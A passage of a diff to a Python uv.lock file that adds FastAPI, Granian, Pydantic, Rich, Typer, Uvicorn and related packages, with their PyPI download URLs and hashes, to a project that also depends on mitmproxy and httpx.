"https://files.pythonhosted.org/packages/38/71/3b932df36c1a044d397a1f92d1cf91ee0a503d91e470cbd670aa66b07ed0/markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb", size = 74596, upload-time = "2023-06-03T06:41:14.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/d7/1ec15b46af6af88f19b8e5ffea08fa375d433c998b8a7639e76935c14f1f/markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1", size = 87528, upload-time = "2023-06-03T06:41:11.019Z" }, +] + [[package]] name = "markupsafe" version = "3.0.2" @@ -465,6 +595,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" }, ] +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + [[package]] name = "mitmproxy" version = "12.1.1" @@ -612,6 +751,8 @@ version = "0.1.0" source = { virtual = "." } dependencies = [ { name = "aiohttp" }, + { name = "fastapi", extra = ["standard"] }, + { name = "granian" }, { name = "httpx" }, { name = "mitmproxy" }, ] @@ -619,6 +760,8 @@ dependencies = [ [package.metadata] requires-dist = [ { name = "aiohttp", specifier = ">=3.8.0" }, + { name = "fastapi", extras = ["standard"], specifier = ">=0.115.12" }, + { name = "granian", specifier = ">=2.3.2" }, { name = "httpx", specifier = ">=0.28.1" }, { name = "mitmproxy", specifier = ">=12.1.1" }, ] @@ -712,6 +855,49 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/13/a3/a812df4e2dd5696d1f351d58b8fe16a405b234ad2886a0dab9183fb78109/pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc", size = 117552, upload-time = "2024-03-30T13:22:20.476Z" }, ] +[[package]] +name = "pydantic" +version = "2.11.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f0/86/8ce9040065e8f924d642c58e4a344e33163a07f6b57f836d0d734e0ad3fb/pydantic-2.11.5.tar.gz", hash = "sha256:7f853db3d0ce78ce8bbb148c401c2cdd6431b3473c0cdff2755c7690952a7b7a", size = 787102, upload-time = "2025-05-22T21:18:08.761Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/69/831ed22b38ff9b4b64b66569f0e5b7b97cf3638346eb95a2147fdb49ad5f/pydantic-2.11.5-py3-none-any.whl", hash = "sha256:f9c26ba06f9747749ca1e5c94d6a85cb84254577553c8785576fd38fa64dc0f7", size = 444229, upload-time = "2025-05-22T21:18:06.329Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.33.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ad/88/5f2260bdfae97aabf98f1778d43f69574390ad787afb646292a638c923d4/pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc", size = 435195, upload-time = "2025-04-23T18:33:52.104Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/46/8c/99040727b41f56616573a28771b1bfa08a3d3fe74d3d513f01251f79f172/pydantic_core-2.33.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1082dd3e2d7109ad8b7da48e1d4710c8d06c253cbc4a27c1cff4fbcaa97a9e3f", size = 2015688, upload-time = "2025-04-23T18:31:53.175Z" }, + { url = "https://files.pythonhosted.org/packages/3a/cc/5999d1eb705a6cefc31f0b4a90e9f7fc400539b1a1030529700cc1b51838/pydantic_core-2.33.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f517ca031dfc037a9c07e748cefd8d96235088b83b4f4ba8939105d20fa1dcd6", size = 1844808, upload-time = "2025-04-23T18:31:54.79Z" }, + { url = "https://files.pythonhosted.org/packages/6f/5e/a0a7b8885c98889a18b6e376f344da1ef323d270b44edf8174d6bce4d622/pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a9f2c9dd19656823cb8250b0724ee9c60a82f3cdf68a080979d13092a3b0fef", size = 1885580, upload-time = "2025-04-23T18:31:57.393Z" }, + { url = "https://files.pythonhosted.org/packages/3b/2a/953581f343c7d11a304581156618c3f592435523dd9d79865903272c256a/pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2b0a451c263b01acebe51895bfb0e1cc842a5c666efe06cdf13846c7418caa9a", size = 1973859, upload-time = "2025-04-23T18:31:59.065Z" }, + { url = "https://files.pythonhosted.org/packages/e6/55/f1a813904771c03a3f97f676c62cca0c0a4138654107c1b61f19c644868b/pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ea40a64d23faa25e62a70ad163571c0b342b8bf66d5fa612ac0dec4f069d916", size = 2120810, upload-time = "2025-04-23T18:32:00.78Z" }, + { url = "https://files.pythonhosted.org/packages/aa/c3/053389835a996e18853ba107a63caae0b9deb4a276c6b472931ea9ae6e48/pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fb2d542b4d66f9470e8065c5469ec676978d625a8b7a363f07d9a501a9cb36a", size = 2676498, upload-time = "2025-04-23T18:32:02.418Z" }, + { url = "https://files.pythonhosted.org/packages/eb/3c/f4abd740877a35abade05e437245b192f9d0ffb48bbbbd708df33d3cda37/pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fdac5d6ffa1b5a83bca06ffe7583f5576555e6c8b3a91fbd25ea7780f825f7d", size = 2000611, upload-time = "2025-04-23T18:32:04.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/a7/63ef2fed1837d1121a894d0ce88439fe3e3b3e48c7543b2a4479eb99c2bd/pydantic_core-2.33.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:04a1a413977ab517154eebb2d326da71638271477d6ad87a769102f7c2488c56", size = 2107924, upload-time = "2025-04-23T18:32:06.129Z" }, + { url = "https://files.pythonhosted.org/packages/04/8f/2551964ef045669801675f1cfc3b0d74147f4901c3ffa42be2ddb1f0efc4/pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c8e7af2f4e0194c22b5b37205bfb293d166a7344a5b0d0eaccebc376546d77d5", size = 2063196, upload-time = "2025-04-23T18:32:08.178Z" }, + { url = "https://files.pythonhosted.org/packages/26/bd/d9602777e77fc6dbb0c7db9ad356e9a985825547dce5ad1d30ee04903918/pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:5c92edd15cd58b3c2d34873597a1e20f13094f59cf88068adb18947df5455b4e", size = 2236389, upload-time = "2025-04-23T18:32:10.242Z" }, + { url = "https://files.pythonhosted.org/packages/42/db/0e950daa7e2230423ab342ae918a794964b053bec24ba8af013fc7c94846/pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162", size = 2239223, upload-time = "2025-04-23T18:32:12.382Z" }, + { url = "https://files.pythonhosted.org/packages/58/4d/4f937099c545a8a17eb52cb67fe0447fd9a373b348ccfa9a87f141eeb00f/pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849", size = 1900473, upload-time = "2025-04-23T18:32:14.034Z" }, + { url = "https://files.pythonhosted.org/packages/a0/75/4a0a9bac998d78d889def5e4ef2b065acba8cae8c93696906c3a91f310ca/pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9", size = 1955269, upload-time = "2025-04-23T18:32:15.783Z" }, + { url = "https://files.pythonhosted.org/packages/f9/86/1beda0576969592f1497b4ce8e7bc8cbdf614c352426271b1b10d5f0aa64/pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9", size = 1893921, upload-time = "2025-04-23T18:32:18.473Z" }, + { url = "https://files.pythonhosted.org/packages/a4/7d/e09391c2eebeab681df2b74bfe6c43422fffede8dc74187b2b0bf6fd7571/pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac", size = 1806162, upload-time = "2025-04-23T18:32:20.188Z" }, + { url = "https://files.pythonhosted.org/packages/f1/3d/847b6b1fed9f8ed3bb95a9ad04fbd0b212e832d4f0f50ff4d9ee5a9f15cf/pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5", size = 1981560, upload-time = "2025-04-23T18:32:22.354Z" }, + { url = "https://files.pythonhosted.org/packages/6f/9a/e73262f6c6656262b5fdd723ad90f518f579b7bc8622e43a942eec53c938/pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9", size = 1935777, upload-time = "2025-04-23T18:32:25.088Z" }, +] + [[package]] name = "pydivert" version = "2.1.0" @@ -721,6 +907,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ca/8f/86d7931c62013a5a7ebf4e1642a87d4a6050c0f570e714f61b0df1984c62/pydivert-2.1.0-py2.py3-none-any.whl", hash = "sha256:382db488e3c37c03ec9ec94e061a0b24334d78dbaeebb7d4e4d32ce4355d9da1", size = 104718, upload-time = "2017-10-20T21:36:56.726Z" }, ] +[[package]] +name = "pygments" +version = "2.19.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7c/2d/c3338d48ea6cc0feb8446d8e6937e1408088a72a39937982cc6111d17f84/pygments-2.19.1.tar.gz", hash = "sha256:61c16d2a8576dc0649d9f39e089b5f02bcd27fba10d8fb4dcc28173f7a45151f", size = 4968581, upload-time = "2025-01-06T17:26:30.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0b/9fcc47d19c48b59121088dd6da2488a49d5f72dacf8262e2790a1d2c7d15/pygments-2.19.1-py3-none-any.whl", hash = "sha256:9ea1544ad55cecf4b8242fab6dd35a93bbce657034b0611ee383099054ab6d8c", size = 1225293, upload-time = "2025-01-06T17:26:25.553Z" }, +] + [[package]] name = "pylsqpack" version = "0.3.22" @@ -767,6 +962,68 @@ version = "1.9.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/30/23/2f0a3efc4d6a32f3b63cdff36cd398d9701d26cda58e3ab97ac79fb5e60d/pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310", size = 20961, upload-time = "2024-06-18T20:38:48.401Z" } +[[package]] +name = "python-dotenv" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/88/2c/7bb1416c5620485aa793f2de31d3df393d3686aa8a8506d11e10e13c5baf/python_dotenv-1.1.0.tar.gz", hash = "sha256:41f90bc6f5f177fb41f53e87666db362025010eb28f60a01c9143bfa33a2b2d5", size = 39920, upload-time = "2025-03-25T10:14:56.835Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/18/98a99ad95133c6a6e2005fe89faedf294a748bd5dc803008059409ac9b1e/python_dotenv-1.1.0-py3-none-any.whl", hash = "sha256:d7c01d9e2293916c18baf562d95698754b0dbbb5e74d457c45d4f6561fb9d55d", size = 20256, upload-time = "2025-03-25T10:14:55.034Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/87/f44d7c9f274c7ee665a29b885ec97089ec5dc034c7f3fafa03da9e39a09e/python_multipart-0.0.20.tar.gz", hash = "sha256:8dd0cab45b8e23064ae09147625994d090fa46f5b0d1e13af944c331a7fa9d13", size = 37158, upload-time = "2024-12-16T19:45:46.972Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/45/58/38b5afbc1a800eeea951b9285d3912613f2603bdf897a4ab0f4bd7f405fc/python_multipart-0.0.20-py3-none-any.whl", hash = "sha256:8a62d3a8335e06589fe01f2a3e178cdcc632f3fbe0d492ad9ee0ec35aab1f104", size = 24546, upload-time = "2024-12-16T19:45:44.423Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e", size = 130631, upload-time = "2024-08-06T20:33:50.674Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/e3/3af305b830494fa85d95f6d95ef7fa73f2ee1cc8ef5b495c7c3269fb835f/PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba", size = 181309, upload-time = "2024-08-06T20:32:43.4Z" }, + { url = "https://files.pythonhosted.org/packages/45/9f/3b1c20a0b7a3200524eb0076cc027a970d320bd3a6592873c85c92a08731/PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1", size = 171679, upload-time = "2024-08-06T20:32:44.801Z" }, + { url = "https://files.pythonhosted.org/packages/7c/9a/337322f27005c33bcb656c655fa78325b730324c78620e8328ae28b64d0c/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133", size = 733428, upload-time = "2024-08-06T20:32:46.432Z" }, + { url = "https://files.pythonhosted.org/packages/a3/69/864fbe19e6c18ea3cc196cbe5d392175b4cf3d5d0ac1403ec3f2d237ebb5/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484", size = 763361, upload-time = "2024-08-06T20:32:51.188Z" }, + { url = "https://files.pythonhosted.org/packages/04/24/b7721e4845c2f162d26f50521b825fb061bc0a5afcf9a386840f23ea19fa/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5", size = 759523, upload-time = "2024-08-06T20:32:53.019Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b2/e3234f59ba06559c6ff63c4e10baea10e5e7df868092bf9ab40e5b9c56b6/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc", size = 726660, upload-time = "2024-08-06T20:32:54.708Z" }, + { url = "https://files.pythonhosted.org/packages/fe/0f/25911a9f080464c59fab9027482f822b86bf0608957a5fcc6eaac85aa515/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652", size = 751597, upload-time = "2024-08-06T20:32:56.985Z" }, + { url = "https://files.pythonhosted.org/packages/14/0d/e2c3b43bbce3cf6bd97c840b46088a3031085179e596d4929729d8d68270/PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183", size = 140527, upload-time = "2024-08-06T20:33:03.001Z" }, + { url = "https://files.pythonhosted.org/packages/fa/de/02b54f42487e3d3c6efb3f89428677074ca7bf43aae402517bc7cca949f3/PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563", size = 156446, upload-time = "2024-08-06T20:33:04.33Z" }, +] + +[[package]] +name = "rich" +version = "14.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/53/830aa4c3066a8ab0ae9a9955976fb770fe9c6102117c8ec4ab3ea62d89e8/rich-14.0.0.tar.gz", hash = "sha256:82f1bc23a6a21ebca4ae0c45af9bdbc492ed20231dcb63f297d6d1021a9d5725", size = 224078, upload-time = "2025-03-30T14:15:14.23Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0d/9b/63f4c7ebc259242c89b3acafdb37b41d1185c07ff0011164674e9076b491/rich-14.0.0-py3-none-any.whl", hash = "sha256:1c9491e1951aac09caffd42f448ee3d04e58923ffe14993f6e83068dc395d7e0", size = 243229, upload-time = "2025-03-30T14:15:12.283Z" }, +] + +[[package]] +name = "rich-toolkit" +version = "0.14.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "rich" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5b/7a/cb48b7024b247631ce39b1f14a0f1abedf311fb27b892b0e0387d809d4b5/rich_toolkit-0.14.7.tar.gz", hash = "sha256:6cca5a68850cc5778915f528eb785662c27ba3b4b2624612cce8340fa9701c5e", size = 104977, upload-time = "2025-05-27T15:48:09.377Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0f/2e/95fde5b818dac9a37683ea064096323f593442d0f6358923c5f635974393/rich_toolkit-0.14.7-py3-none-any.whl", hash = "sha256:def05cc6e0f1176d6263b6a26648f16a62c4563b277ca2f8538683acdba1e0da", size = 24870, upload-time = "2025-05-27T15:48:07.942Z" }, +] + [[package]] name = "ruamel-yaml" version = "0.18.10" @@ -791,6 +1048,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/08/2c/ca6dd598b384bc1ce581e24aaae0f2bed4ccac57749d5c3befbb5e742081/service_identity-24.2.0-py3-none-any.whl", hash = "sha256:6b047fbd8a84fd0bb0d55ebce4031e400562b9196e1e0d3e0fe2b8a59f6d4a85", size = 11364, upload-time = "2024-10-26T07:21:56.302Z" }, ] +[[package]] +name = "shellingham" +version = "1.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" }, +] + [[package]] name = "sniffio" version = "1.3.1" @@ -809,6 +1075,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" }, ] +[[package]] +name = "starlette" +version = "0.46.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ce/20/08dfcd9c983f6a6f4a1000d934b9e6d626cff8d2eeb77a89a68eef20a2b7/starlette-0.46.2.tar.gz", hash = "sha256:7f7361f34eed179294600af672f565727419830b54b7b084efe44bb82d2fccd5", size = 2580846, upload-time = "2025-04-13T13:56:17.942Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8b/0c/9d30a4ebeb6db2b25a841afbb80f6ef9a854fc3b41be131d249a977b4959/starlette-0.46.2-py3-none-any.whl", hash = "sha256:595633ce89f8ffa71a015caed34a5b2dc1c0cdb3f0f1fbd1e69339cf2abeec35", size = 72037, upload-time = "2025-04-13T13:56:16.21Z" }, +] + [[package]] name = "tornado" version = "6.5" @@ -828,6 +1106,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/54/9a/3cc3969c733ddd4f5992b3d4ec15c9a2564192c7b1a239ba21c8f73f8af4/tornado-6.5-cp39-abi3-win_arm64.whl", hash = "sha256:542e380658dcec911215c4820654662810c06ad872eefe10def6a5e9b20e9633", size = 442874, upload-time = "2025-05-15T20:37:41.267Z" }, ] +[[package]] +name = "typer" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "rich" }, + { name = "shellingham" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c5/8c/7d682431efca5fd290017663ea4588bf6f2c6aad085c7f108c5dbc316e70/typer-0.16.0.tar.gz", hash = "sha256:af377ffaee1dbe37ae9440cb4e8f11686ea5ce4e9bae01b84ae7c63b87f1dd3b", size = 102625, upload-time = "2025-05-26T14:30:31.824Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/76/42/3efaf858001d2c2913de7f354563e3a3a2f0decae3efe98427125a8f441e/typer-0.16.0-py3-none-any.whl", hash = "sha256:1f79bed11d4d02d4310e3c1b7ba594183bcedb0ac73b27a9e5f28f6fb5b98855", size = 46317, upload-time = "2025-05-26T14:30:30.523Z" }, +] + [[package]] name = "typing-extensions" version = "4.14.0" @@ -837,6 +1130,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/69/e0/552843e0d356fbb5256d21449fa957fa4eff3bbc135a74a691ee70c7c5da/typing_extensions-4.14.0-py3-none-any.whl", hash = "sha256:a1514509136dd0b477638fc68d6a91497af5076466ad0fa6c338e44e359944af", size = 43839, upload-time = "2025-06-02T14:52:10.026Z" }, ] +[[package]] +name = "typing-inspection" +version = "0.4.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f8/b1/0c11f5058406b3af7609f121aaa6b609744687f1d158b3c3a5bf4cc94238/typing_inspection-0.4.1.tar.gz", hash = "sha256:6ae134cc0203c33377d43188d4064e9b357dba58cff3185f22924610e70a9d28", size = 75726, upload-time = "2025-05-21T18:55:23.885Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/69/cd203477f944c353c31bade965f880aa1061fd6bf05ded0726ca845b6ff7/typing_inspection-0.4.1-py3-none-any.whl", hash = "sha256:389055682238f53b04f7badcb49b989835495a96700ced5dab2d8feae4b26f51", size = 14552, upload-time = "2025-05-21T18:55:22.152Z" }, +] + [[package]] name = "urwid" version = "2.6.16" @@ -850,6 +1155,67 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/54/cb/271a4f5a1bf4208dbdc96d85b9eae744cf4e5e11ac73eda76dc98c8fd2d7/urwid-2.6.16-py3-none-any.whl", hash = "sha256:de14896c6df9eb759ed1fd93e0384a5279e51e0dde8f621e4083f7a8368c0797", size = 297196, upload-time = "2024-10-15T16:07:22.521Z" }, ] +[[package]] +name = "uvicorn" +version = "0.34.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/de/ad/713be230bcda622eaa35c28f0d328c3675c371238470abdea52417f17a8e/uvicorn-0.34.3.tar.gz", hash = "sha256:35919a9a979d7a59334b6b10e05d77c1d0d574c50e0fc98b8b1a0f165708b55a", size = 76631, upload-time = "2025-06-01T07:48:17.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/0d/8adfeaa62945f90d19ddc461c55f4a50c258af7662d34b6a3d5d1f8646f6/uvicorn-0.34.3-py3-none-any.whl", hash = "sha256:16246631db62bdfbf069b0645177d6e8a77ba950cfedbfd093acef9444e4d885", size = 62431, upload-time = "2025-06-01T07:48:15.664Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "httptools" }, + { name = "python-dotenv" }, + { name = "pyyaml" }, + { name = "uvloop", marker = "platform_python_implementation != 'PyPy' and sys_platform != 'cygwin' and sys_platform != 'win32'" }, + { name = "watchfiles" }, + { name = "websockets" }, +] + +[[package]] +name = "uvloop" +version = "0.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/c0/854216d09d33c543f12a44b393c402e89a920b1a0a7dc634c42de91b9cf6/uvloop-0.21.0.tar.gz", hash = "sha256:3bf12b0fda68447806a7ad847bfa591613177275d35b6724b1ee573faa3704e3", size = 2492741, upload-time = "2024-10-14T23:38:35.489Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/8d/2cbef610ca21539f0f36e2b34da49302029e7c9f09acef0b1c3b5839412b/uvloop-0.21.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bfd55dfcc2a512316e65f16e503e9e450cab148ef11df4e4e679b5e8253a5281", size = 1468123, upload-time = "2024-10-14T23:38:00.688Z" }, + { url = "https://files.pythonhosted.org/packages/93/0d/b0038d5a469f94ed8f2b2fce2434a18396d8fbfb5da85a0a9781ebbdec14/uvloop-0.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:787ae31ad8a2856fc4e7c095341cccc7209bd657d0e71ad0dc2ea83c4a6fa8af", size = 819325, upload-time = "2024-10-14T23:38:02.309Z" }, + { url = "https://files.pythonhosted.org/packages/50/94/0a687f39e78c4c1e02e3272c6b2ccdb4e0085fda3b8352fecd0410ccf915/uvloop-0.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ee4d4ef48036ff6e5cfffb09dd192c7a5027153948d85b8da7ff705065bacc6", size = 4582806, upload-time = "2024-10-14T23:38:04.711Z" }, + { url = "https://files.pythonhosted.org/packages/d2/19/f5b78616566ea68edd42aacaf645adbf71fbd83fc52281fba555dc27e3f1/uvloop-0.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3df876acd7ec037a3d005b3ab85a7e4110422e4d9c1571d4fc89b0fc41b6816", size = 4701068, upload-time = "2024-10-14T23:38:06.385Z" }, + { url = "https://files.pythonhosted.org/packages/47/57/66f061ee118f413cd22a656de622925097170b9380b30091b78ea0c6ea75/uvloop-0.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd53ecc9a0f3d87ab847503c2e1552b690362e005ab54e8a48ba97da3924c0dc", size = 4454428, upload-time = "2024-10-14T23:38:08.416Z" }, + { url = "https://files.pythonhosted.org/packages/63/9a/0962b05b308494e3202d3f794a6e85abe471fe3cafdbcf95c2e8c713aabd/uvloop-0.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a5c39f217ab3c663dc699c04cbd50c13813e31d917642d459fdcec07555cc553", size = 4660018, upload-time = "2024-10-14T23:38:10.888Z" }, +] + +[[package]] +name = "watchfiles" +version = "1.0.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/03/e2/8ed598c42057de7aa5d97c472254af4906ff0a59a66699d426fc9ef795d7/watchfiles-1.0.5.tar.gz", hash = "sha256:b7529b5dcc114679d43827d8c35a07c493ad6f083633d573d81c660abc5979e9", size = 94537, upload-time = "2025-04-08T10:36:26.722Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/62/435766874b704f39b2fecd8395a29042db2b5ec4005bd34523415e9bd2e0/watchfiles-1.0.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:0b289572c33a0deae62daa57e44a25b99b783e5f7aed81b314232b3d3c81a11d", size = 401531, upload-time = "2025-04-08T10:35:35.792Z" }, + { url = 